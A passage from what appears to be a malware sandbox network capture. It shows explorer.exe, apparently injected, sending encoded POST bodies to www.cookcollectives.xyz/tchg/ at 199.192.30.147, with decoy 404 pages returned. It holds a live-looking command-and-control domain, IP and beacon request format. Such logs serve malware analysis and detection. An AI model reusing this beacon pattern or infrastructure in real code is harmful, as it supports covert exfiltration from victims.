2c 20 27 65 61 73 65 4f 75 74 43 75 62 69 63 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 6a 51 75 65 72 79 28 74 68 69 73 29 2e 63 73 73 28 27 64 69 73 70 6c 61 79 27 2c 20 27 6e 6f 6e 65 27 29 0d 0a 20 20 20 20 7d 29 3b 0d 0a 7d 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 5d 3e 0d 0a 3c 64 69 76 20 73 74 79 6c 65 3d 27 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 69 6e 64 6f 77 73 2f 69 6e 74 65 72 6e 65 74 2d 65 78 70 6c 6f 72 65 72 2f 64 65 66 61 75 6c 74 2e 61 73 70 78 3f 6f 63 69 64 3d 69 65 36 5f 63 6f 75 6e 74 64 6f 77 6e 5f 62 61 6e 6e 65 72 63 6f 64 65 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 74 68 65 69 65 36 63 6f 75 6e 74 64 6f 77 6e 2e 63 6f 6d 2f 69 6d 67 2f 75 70 67 72 61 64 65 2e 6a 70 67 22 62 6f 72 64 65 72 3d 22 30 22 61 6c 74 3d 22 22 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 20 20 0d 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 0d 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d Data Ascii: <!DOCTYPE html><html lang="en"><head><title>Codester \| 404</title><meta charset="utf-8"><link rel="stylesheet" href="/css/bootstrap.css" type="text/css" media="screen"><link rel="stylesheet" href="/css/responsive.css" type="text/css" media="screen"><link rel="stylesheet" href="/css/style.css" type="text/css" media="screen"><link href='http://fonts.googleapis.com/css?family=Open+Sans:400,300' rel='stylesheet' type='text/css'><script src="/js/jquery.js"></script><script src="/js/superfish.js"></script><script src="/js/jquery.easing.1.3.js"></script><script src="/js/jquery.cookie.js"></script><script>jQuery(window).load(function () { jQuery('.spinner').animate({ 'opacity': 0 }, 1000, 'easeOutCubic', function () { jQuery(this).css('display', 'none') });});</script>...[if lt IE 8]><div style='text-align:center'><a href="http://www.microsoft.com/windows/internet-explorer/default.aspx?ocid=ie6_countdown_bannercode"><img src="http://www.theie6countdown.com/img/upgrade.jpg"border="0"alt=""/></a></div> <![endif]-->...[if (gt IE 9)\|!(IE)]>...>...<![endif]-
May 30, 2023 11:12:18.313889980 CEST	1472	IN	Data Raw: 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 6a 73 2f 68 74 6d 6c 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 Data Ascii: ->...[if lt IE 9]><script src="js/html5.js"></script><link rel="stylesheet" href="css/docs.css" type="text/css" media="screen"><link rel="stylesheet" href="css/ie.css" type="text/css" media="screen"><link href='http://fonts.googleap
May 30, 2023 11:12:18.313919067 CEST	1473	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 22 3e 50 72 6f 63 65 73 73 20 30 31 3c 2f 61 3e 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 Data Ascii: <li><a href="/">Process 01</a></li> <li><a href="/">Process 02</a></li> <li><a href="/">Process 03</a></li> </ul> </li> <li><a href="con
May 30, 2023 11:12:18.313935041 CEST	1474	IN	Data Raw: 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 66 6f 72 6d 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 Data Ascii: > </form> </div> </div> </div> </div> </div> </div></div>... footer --><footer> <div class="container clearfix"> <ul class="list-social pull-right"> <li><a

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.11.20	49836	199.192.30.147	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:12:20.726342916 CEST	1475	OUT	POST /tchg/ HTTP/1.1 Host: www.cookcollectives.xyz Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.cookcollectives.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.cookcollectives.xyz/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 79 30 4c 79 67 70 65 74 4c 4e 4c 62 49 38 51 78 32 68 57 4e 43 69 65 6e 56 5a 43 52 59 32 63 45 76 34 35 51 6c 59 4c 32 54 49 53 4b 4b 56 67 6e 77 64 56 68 55 59 65 69 39 72 70 47 4d 76 46 37 37 68 43 47 46 6b 58 70 76 6b 39 77 6f 6c 33 68 38 4b 66 4e 47 2d 36 43 74 76 44 79 4b 52 7e 56 75 2d 7e 5a 77 62 38 58 43 77 51 2d 46 63 6f 69 6c 47 37 50 43 63 56 67 33 61 35 6f 70 64 6f 59 77 48 63 48 61 31 6e 79 6b 39 68 58 65 33 70 7a 61 4c 75 2d 67 6d 64 5a 42 48 45 6c 61 52 62 43 69 6f 48 56 41 47 64 37 57 78 4f 46 7e 37 34 36 55 50 53 57 6a 73 6c 35 4c 6a 58 58 63 4c 74 75 54 50 48 7a 4c 6f 33 77 33 71 68 33 4f 35 5a 6e 6c 54 30 74 30 4f 6b 5a 76 30 6d 5f 44 64 64 55 7a 49 78 65 76 41 47 4f 79 51 44 78 73 4f 76 48 48 4a 4e 31 55 4d 78 65 69 6b 4d 2d 32 56 49 6d 57 72 6d 46 6b 5a 63 39 36 6c 4e 4b 37 46 41 31 50 4a 79 42 39 4a 73 47 6a 38 34 74 36 43 32 34 44 6a 79 4d 62 5f 39 72 48 6f 50 4a 58 69 71 6d 68 36 68 64 4e 6e 53 6d 39 54 39 32 6c 64 51 79 56 68 63 2d 28 43 66 37 69 72 71 75 53 61 46 57 4a 6a 73 41 75 71 49 70 46 55 76 39 31 4b 45 4c 56 66 47 34 6f 46 73 33 4c 36 49 73 39 52 30 77 4d 54 71 32 51 4d 65 37 30 61 28 44 5a 30 35 66 4c 34 55 6c 6a 59 53 4c 41 65 33 4d 77 59 34 4f 4c 65 54 74 66 35 48 63 33 30 35 75 35 49 4c 39 74 7a 33 5a 6d 30 46 53 37 45 53 65 34 63 39 66 73 6c 49 62 4e 7a 35 7a 55 78 6f 31 45 62 6c 6c 28 62 52 79 30 71 79 73 69 32 39 63 43 77 65 63 58 50 75 56 58 4d 58 7a 32 64 4e 4d 56 31 78 4e 73 5f 33 4b 50 54 6d 74 28 72 67 71 65 55 68 6e 51 6c 44 6a 4c 76 73 55 72 49 70 74 7a 59 32 6a 39 72 41 4b 77 6d 30 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=y0LygpetLNLbI8Qx2hWNCienVZCRY2cEv45QlYL2TISKKVgnwdVhUYei9rpGMvF77hCGFkXpvk9wol3h8KfNG-6CtvDyKR~Vu-~Zwb8XCwQ-FcoilG7PCcVg3a5opdoYwHcHa1nyk9hXe3pzaLu-gmdZBHElaRbCioHVAGd7WxOF~746UPSWjsl5LjXXcLtuTPHzLo3w3qh3O5ZnlT0t0OkZv0m_DddUzIxevAGOyQDxsOvHHJN1UMxeikM-2VImWrmFkZc96lNK7FA1PJyB9JsGj84t6C24DjyMb_9rHoPJXiqmh6hdNnSm9T92ldQyVhc-(Cf7irquSaFWJjsAuqIpFUv91KELVfG4oFs3L6Is9R0wMTq2QMe70a(DZ05fL4UljYSLAe3MwY4OLeTtf5Hc305u5IL9tz3Zm0FS7ESe4c9fslIbNz5zUxo1Ebll(bRy0qysi29cCwecXPuVXMXz2dNMV1xNs_3KPTmt(rgqeUhnQlDjLvsUrIptzY2j9rAKwm0.
May 30, 2023 11:12:21.005604029 CEST	1477	IN	HTTP/1.1 404 Not Found Date: Tue, 30 May 2023 09:12:20 GMT Server: Apache Content-Length: 4406 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 43 6f 64 65 73 74 65 72 20 7c 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 72 65 73 70 6f 6e 73 69 76 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 34 30 30 2c 33 30 30 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 73 75 70 65 72 66 69 73 68 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 65 61 73 69 6e 67 2e 31 2e 33 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 63 6f 6f 6b 69 65 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 6c 6f 61 64 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 6a 51 75 65 72 79 28 27 2e 73 70 69 6e 6e 65 72 27 29 2e 61 6e 69 6d 61 74 65 28 7b 0d 0a 20 20 20 20 20 20 20 20 27 6f 70 61 63 69 74 79 27 3a 20 30 0d 0a 20 20 20 20 7d 2c 20 31 30 30 30 2c 20 27 65 61 73 65 4f 75 74 43 75 62 69 63 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 6a 51 75 65 72 79 28 74 68 69 73 29 2e 63 73 73 28 27 64 69 73 70 6c 61 79 27 2c 20 27 6e 6f 6e 65 27 29 0d 0a 20 20 20 20 7d 29 3b 0d 0a 7d 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 5d 3e 0d 0a 3c 64 69 76 20 73 74 79 6c 65 3d 27 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 69 6e 64 6f 77 73 2f 69 6e 74 65 72 6e 65 74 2d 65 78 70 6c 6f 72 65 72 2f 64 65 66 61 75 6c 74 2e 61 73 70 78 3f 6f 63 69 64 3d 69 65 36 5f 63 6f 75 6e 74 64 6f 77 6e 5f 62 61 6e 6e 65 72 63 6f 64 65 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 74 68 65 69 65 36 63 6f 75 6e 74 64 6f 77 6e 2e 63 6f 6d 2f 69 6d 67 2f 75 70 67 72 61 64 65 2e 6a 70 67 22 62 6f 72 64 65 72 3d 22 30 22 61 6c 74 3d 22 22 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 20 20 0d 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 0d 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d Data Ascii: <!DOCTYPE html><html lang="en"><head><title>Codester \| 404</title><meta charset="utf-8"><link rel="stylesheet" href="/css/bootstrap.css" type="text/css" media="screen"><link rel="stylesheet" href="/css/responsive.css" type="text/css" media="screen"><link rel="stylesheet" href="/css/style.css" type="text/css" media="screen"><link href='http://fonts.googleapis.com/css?family=Open+Sans:400,300' rel='stylesheet' type='text/css'><script src="/js/jquery.js"></script><script src="/js/superfish.js"></script><script src="/js/jquery.easing.1.3.js"></script><script src="/js/jquery.cookie.js"></script><script>jQuery(window).load(function () { jQuery('.spinner').animate({ 'opacity': 0 }, 1000, 'easeOutCubic', function () { jQuery(this).css('display', 'none') });});</script>...[if lt IE 8]><div style='text-align:center'><a href="http://www.microsoft.com/windows/internet-explorer/default.aspx?ocid=ie6_countdown_bannercode"><img src="http://www.theie6countdown.com/img/upgrade.jpg"border="0"alt=""/></a></div> <![endif]-->...[if (gt IE 9)\|!(IE)]>...>...<![endif]-
May 30, 2023 11:12:21.005685091 CEST	1478	IN	Data Raw: 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 6a 73 2f 68 74 6d 6c 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 Data Ascii: ->...[if lt IE 9]><script src="js/html5.js"></script><link rel="stylesheet" href="css/docs.css" type="text/css" media="screen"><link rel="stylesheet" href="css/ie.css" type="text/css" media="screen"><link href='http://fonts.googleap
May 30, 2023 11:12:21.005747080 CEST	1479	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 22 3e 50 72 6f 63 65 73 73 20 30 31 3c 2f 61 3e 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 Data Ascii: <li><a href="/">Process 01</a></li> <li><a href="/">Process 02</a></li> <li><a href="/">Process 03</a></li> </ul> </li> <li><a href="con
May 30, 2023 11:12:21.005825043 CEST	1480	IN	Data Raw: 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 66 6f 72 6d 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 Data Ascii: > </form> </div> </div> </div> </div> </div> </div></div>... footer --><footer> <div class="container clearfix"> <ul class="list-social pull-right"> <li><a

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.11.20	49837	199.192.30.147	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:12:23.413603067 CEST	1486	OUT	POST /tchg/ HTTP/1.1 Host: www.cookcollectives.xyz Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.cookcollectives.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.cookcollectives.xyz/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 79 30 4c 79 67 70 65 74 4c 4e 4c 62 49 38 51 78 32 68 57 4e 43 69 65 6e 56 5a 43 52 59 32 63 45 76 34 35 51 6c 59 4c 32 54 49 61 4b 4c 6d 6f 6e 78 36 42 68 56 59 65 69 79 37 70 39 4d 76 46 79 37 68 61 43 46 6c 72 35 76 69 35 77 6f 53 72 68 38 5a 33 4e 44 2d 36 44 6e 50 44 77 4f 52 28 53 75 2d 6a 61 77 61 59 74 42 42 55 2d 45 65 77 69 30 41 7a 4d 64 38 56 35 33 61 35 30 69 39 6f 6d 77 48 4a 61 61 31 6a 79 6b 5f 56 58 65 46 52 7a 59 59 57 2d 37 6d 64 65 59 33 46 6c 44 42 62 42 69 6f 54 72 41 47 63 5a 57 77 4b 46 7e 35 77 36 56 4d 71 56 6a 4d 6c 35 49 6a 58 57 4e 62 68 71 54 4c 76 72 4c 6f 7a 77 33 71 4a 33 4d 5a 5a 6e 6a 79 30 73 33 75 6b 54 6c 55 6e 70 49 39 5a 63 7a 49 6c 77 76 42 69 4f 79 67 48 78 74 35 37 48 46 6f 4e 31 57 73 78 59 76 45 4d 54 28 31 49 69 57 72 32 33 6b 5a 38 74 36 6e 68 4b 30 45 67 31 61 62 4b 43 28 70 73 63 67 38 35 6c 7e 43 71 6b 44 69 44 4e 62 5f 39 37 48 70 37 4a 58 53 36 6d 67 2d 56 61 41 58 54 73 30 7a 38 69 38 74 4d 73 56 68 52 78 28 42 4f 32 69 73 61 75 53 36 46 57 5a 77 45 44 35 71 49 75 4e 30 76 56 78 4b 46 44 56 66 43 65 6f 41 55 4e 4c 4f 77 73 38 68 6b 77 47 6a 71 35 47 63 65 67 36 36 28 4a 49 6b 35 66 4c 34 49 78 6a 59 4f 4c 56 36 37 4d 28 4c 51 4f 4e 4f 76 74 54 5a 48 57 33 30 34 32 35 49 33 34 74 7a 4f 2d 6d 30 5a 34 37 48 7e 65 34 4e 74 66 68 41 30 59 47 6a 35 79 51 78 70 6a 41 62 35 32 28 61 39 71 30 70 62 62 69 45 35 63 59 77 4f 63 54 50 75 53 42 63 57 61 68 74 4e 61 48 46 39 72 73 37 76 61 50 54 6a 67 28 6f 51 71 50 69 63 67 50 6d 54 64 49 4d 6b 63 70 66 52 37 38 66 4f 53 6c 75 49 39 6a 67 63 53 31 46 6f 43 6f 58 58 66 42 56 4b 63 6e 33 75 45 5a 72 31 4f 50 4f 31 67 43 47 34 37 45 43 6e 43 65 76 6f 53 55 6a 30 5a 65 5f 33 56 61 57 41 70 58 47 65 35 34 6e 7a 76 76 7a 50 50 28 55 4b 4b 37 67 4e 56 30 59 6e 36 30 35 77 51 6f 6a 59 38 64 6e 62 71 69 6e 32 47 59 41 36 46 41 72 4a 74 47 42 6d 46 4a 49 65 33 4b 6f 71 2d 6f 54 30 42 52 4d 51 70 4e 6f 63 6d 6f 58 46 64 7a 57 42 37 73 4c 31 35 68 48 69 51 55 79 52 6e 4c 42 74 57 38 53 46 69 67 57 51 48 78 2d 52 31 36 55 7e 4d 6f 32 6b 56 69 6d 69 74 54 78 49 61 5a 4d 76 69 67 68 36 31 39 48 34 33 63 4e 79 34 6c 75 70 31 34 70 28 77 6b 31 4a 7a 45 7a 48 62 32 34 35 51 50 47 6b 38 35 7a 7e 36 70 6a 61 5a 54 58 61 79 74 76 38 41 28 35 38 5a 35 44 62 42 65 6f 51 5f 4e 54 35 77 77 44 72 30 4b 4c 58 5f 59 78 44 78 35 44 33 79 6a 6c 28 55 7e 54 47 6b 36 76 69 68 4c 39 39 30 30 63 48 6b 57 56 66 54 79 4c 38 33 6f 52 32 58 70 31 71 65 43 74 30 41 66 49 30 35 65 50 38 74 73 4b 45 70 6b 39 31 72 61 74 41 64 6d 49 6b 55 38 6c 58 77 5a 4d 36 32 53 4b 46 6c 6a 44 41 67 32 50 63 6e 65 39 75 66 6c 74 72 53 7e 35 63 6e 38 46 36 70 56 4d 73 43 52 47 35 33 44 32 6d 65 31 38 39 43 79 7a 50 59 75 46 37 67 28 37 44 35 5a 35 7a 37 39 2d 4d 77 6f 52 72 68 63 7a 4a 6c 28 53 7a 64 47 55 46 49 6c 48 50 52 72 65 4f 34 34 41 73 6f 61 4b 6b 6f 56 45 65 71 49 62 59 2d 31 30 56 66 59 4b 61 72 58 34 53 6b 42 31 4f 57 6a 46 41 50 36 55 53 71 46 37 47 6d 33 48 7a 44 52 4a 36 4a 31 58 4d 76 4d 56 7e 73 7e 4c 7e 55 75 62 75 65 4e 38 41 44 76 34 46 55 6d 4a 31 75 6f 56 73 72 77 31 6f 52 6c 6b 4a 5a 75 4d 51 39 55 45 44 53 70 4a 34 66 79 5a 42 46 75 58 34 47 59 62 75 37 72 52 6b 43 35 6e 66 67 28 65 4f 41 36 75 65 75 7e 6a 4b 79 62 65 4a 45 74 70 45 58 70 58 76 68 63 69 4b 6a 50 6b 5a 55 4d 4c 6e 61 6c 4d 79 6d 62 7a 63 4c 6b 55 59 70 4d 4d 74 75 61 31 32 68 5a 33 32 69 61 33 76 4d 44 35 63 34 4a 61 43 45 75 33 47 42 6a 47 6a 4c 56 75 6e 39 45 41 59 6b 6a 38 6c 39 76 44 4a 36 6f 4d 4d 76 52 62 4c 62 76 54 76 38 35 33 31 77 69 68 4b 71 4b 51 61 59 57 67 76 67 49 42 42 62 42 45 6a 67 7e 4d 65 7a 44 58 4d 55 6b 39 28 59 50 61 71 44 50 33 66 32 57 31 45 6c 44 42 34 4f 6e 62 33 67 44 57 67 52 4e 74 78 59 30 67 67 4d 50 76 7e 63 33 61 4a 41 31 6a 48 68 7e 57 69 33 50 67 4f 72 41 56 67 4b 66 54 53 31 41 49 4c 48 50 35 44 6a 56 6c 6e 6b 36 4b 49 36 4f 68 33 75 6f 69 44 59 42 5f 78 54 73 6a 4f 79 4c 48 63 50 28 34 4a 35 38 31 6d 38 48 64 69 35 52 48 6b 53 73 4f 51 75 57 63 38 5a 69 74 51 36 56 43 4c 61 54 4f 75 38 33 42 6b 62 73 53 61 50 42 5f 34 75 43 43 31 43 4b Data Ascii: O0qEM=y0LygpetLNLbI8Qx2hWNCienVZCRY2cEv45QlYL2TIaKLmonx6BhVYeiy7p9MvFy7haCFlr5vi5woSrh8Z3ND-6DnPDwOR(Su-jawaYtBBU-Eewi0AzMd8V53a50i9omwHJaa1jyk_VXeFRzYYW-7mdeY3FlDBbBioTrAGcZWwKF~5w6VMqVjMl5IjXWNbhqTLvrLozw3qJ3MZZnjy0s3ukTlUnpI9ZczIlwvBiOygHxt57HFoN1WsxYvEMT(1IiWr23kZ8t6nhK0Eg1abKC(pscg85l~CqkDiDNb_97Hp7JXS6mg-VaAXTs0z8i8tMsVhRx(BO2isauS6FWZwED5qIuN0vVxKFDVfCeoAUNLOws8hkwGjq5Gceg66(JIk5fL4IxjYOLV67M(LQONOvtTZHW30425I34tzO-m0Z47H~e4NtfhA0YGj5yQxpjAb52(a9q0pbbiE5cYwOcTPuSBcWahtNaHF9rs7vaPTjg(oQqPicgPmTdIMkcpfR78fOSluI9jgcS1FoCoXXfBVKcn3uEZr1OPO1gCG47ECnCevoSUj0Ze_3VaWApXGe54nzvvzPP(UKK7gNV0Yn605wQojY8dnbqin2GYA6FArJtGBmFJIe3Koq-oT0BRMQpNocmoXFdzWB7sL15hHiQUyRnLBtW8SFigWQHx-R16U~Mo2kVimitTxIaZMvigh619H43cNy4lup14p(wk1JzEzHb245QPGk85z~6pjaZTXaytv8A(58Z5DbBeoQ_NT5wwDr0KLX_YxDx5D3yjl(U~TGk6vihL9900cHkWVfTyL83oR2Xp1qeCt0AfI05eP8tsKEpk91ratAdmIkU8lXwZM62SKFljDAg2Pcne9ufltrS~5cn8F6pVMsCRG53D2me189CyzPYuF7g(7D5Z5z79-MwoRrhczJl(SzdGUFIlHPRreO44AsoaKkoVEeqIbY-10VfYKarX4SkB1OWjFAP6USqF7Gm3HzDRJ6J1XMvMV~s~L~UubueN8ADv4FUmJ1uoVsrw1oRlkJZuMQ9UEDSpJ4fyZBFuX4GYbu7rRkC5nfg(eOA6ueu~jKybeJEtpEXpXvhciKjPkZUMLnalMymbzcLkUYpMMtua12hZ32ia3vMD5c4JaCEu3GBjGjLVun9EAYkj8l9vDJ6oMMvRbLbvTv8531wihKqKQaYWgvgIBBbBEjg~MezDXMUk9(YPaqDP3f2W1ElDB4Onb3gDWgRNtxY0ggMPv~c3aJA1jHh~Wi3PgOrAVgKfTS1AILHP5DjVlnk6KI6Oh3uoiDYB_xTsjOyLHcP(4J581m8Hdi5RHkSsOQuWc8ZitQ6VCLaTOu83BkbsSaPB_4uCC1CKEFCCp3qGRGZpK(U9UTb~iIkQM8ZLnprhaCcTcqb9IPWTRupEg2AhpZaKVUYSOnJkJ1qGemxKRtqXpxo2yn_lLthG4JIJqjQna0_8p9iWvrfVEIIb-QYSV77wOGsYYLMifkiL-qBeXk8HNHic6wrOWy581hC60mfvBKwZEPo7t6u(xcytx1zxV63tBjYiNcV6xa63OMo(ek_gB4ASFcetXf60cz-U_wX6UYfDzFndJFzuPVTYLvaO1tGZale2q0BwoOZNsXg6v~Nh3ZyJOWvhkIW(eyU80A2rnjUVNoYiUacSfXH4N5Z04cU5OxZyCkGbEuNcZm1i4t41lvek1RgHQaqokC69fmrXX6RAPSrst44q1YDudwQ05crNrcSlk1em5pLBNiOYOK9jhzam2CYRkP6MI9IO55O9Cn_hcd4TL91eHFO2aZsf_8fLkLxNmEfVTmPhdRnLjZdtjHg14VVN7d-dJq1sNMwM0CaZsUhNXENfStIf-WyBisPyCLJ87nTaHIlZSmIIrJZGPUSJruUBetJgMPt1eOZUVdA(aJ4nqv0KrzOjPG8NdQDUPXkNHvjcRfNIt9DNaV7iC9VZXltqnqMK5vO72Pje88y2-I2B9C54jNkyoE0CBmvQBnBHs7XzS9UGJrIoUwIQ_1NMpeNP-Ed6w7f(b7uUzM8sx6D3D4g7xlyJoDCg_5u1HZ3VfykGylaY0fptmPj8L0mFu1J7TOiPRQHfcwlC_1MahMSsl1e0HGUFJ(quAD7wVPE3xQzcVA1~Ttw1FQxZaYTZvWuujFihcclHiWkdHh9E2fxFdTksAPodjvrZqGNjKr4YS(kQeyT7H4YZqyNwVMJPcdotPaODRsMhKHLQyCGve(1zhSD5hZ9GNEj3CTsGPB5dpe4Vfef6cZdhQngYAmdcS7U0yZy3po0IXqUL5jpaDN_K3ZqrKuKi5ou6o7Z(02Ckr1KfIga5bJJEnZ-c8qY5375qHsasIMSV6A4vrD91BIQESb5Unsc2J4LG66OM68Tn56Z5JVx6KDoEHDY3YIhH4Jy2ubUbQ31lycHdIgoHrSu7SOibVGQqCDnz56dnc8LiiCoQdmJ8uOaD5VG4aUK3xwWIIxM~s4VOZuqJj7sqZ62M5J0LYPxbKBPyA3TRsAZYNeKvvJxXbPNw-7GFs07o9YAY3dH2xAOFUnCxkIKJujf~5JiDSFI1ilxNrVdoyrbuqWEDss5u33NK9SnHc2kD56w2HMMtdJ38lEXSSwkDgaVM3MpTBpJlH4wcH~4v7OrO0UEFPcZXTTUW-R58k4SigXNqv7Sp75ajBRGJaf9~MKMA_00TTqxreg0aBn5pKs2bBcjwykCqU9u18ZNHx~Aq-ff2ERkC0u93ZX9iaVPfEbo4yJmVwVZaaBwVitUG5z8AZQzly(lUXlFE_eb(OD_DMIdKkusynjmDYHjk6ppoAQmML5BfPx-NFyYBBCfY6XBUmTmtujZ1feDq2qyuMcxq3kAV9j_sTW36m3NVH1V(VCwotkDiGNn(hndwpKIvHhOPhtjDk~12_nS~FLxAdEpb3plQbFbxs7uz-qZ3DJ2wqZWvwusEZMD2zToDmg9hY8ITU8dcKJvnQ8UV7Fd7LWRDQNU4SFYWRkRmD2WjJyUH6MD~NCTLGBsMUrlHYgkyX6k5MJjj3ZzL-bacNLfHgB7SMVgENVJlI1BP3i9zTqygz1s7_fX2sG2f1Y25_j0fMUvRtHqpiy6ReYbogGXYPFf(mP_FIbbjh7MzqdEEY8IHLdT(0SpLOWFkpkmZ-1Wd6H3zgucw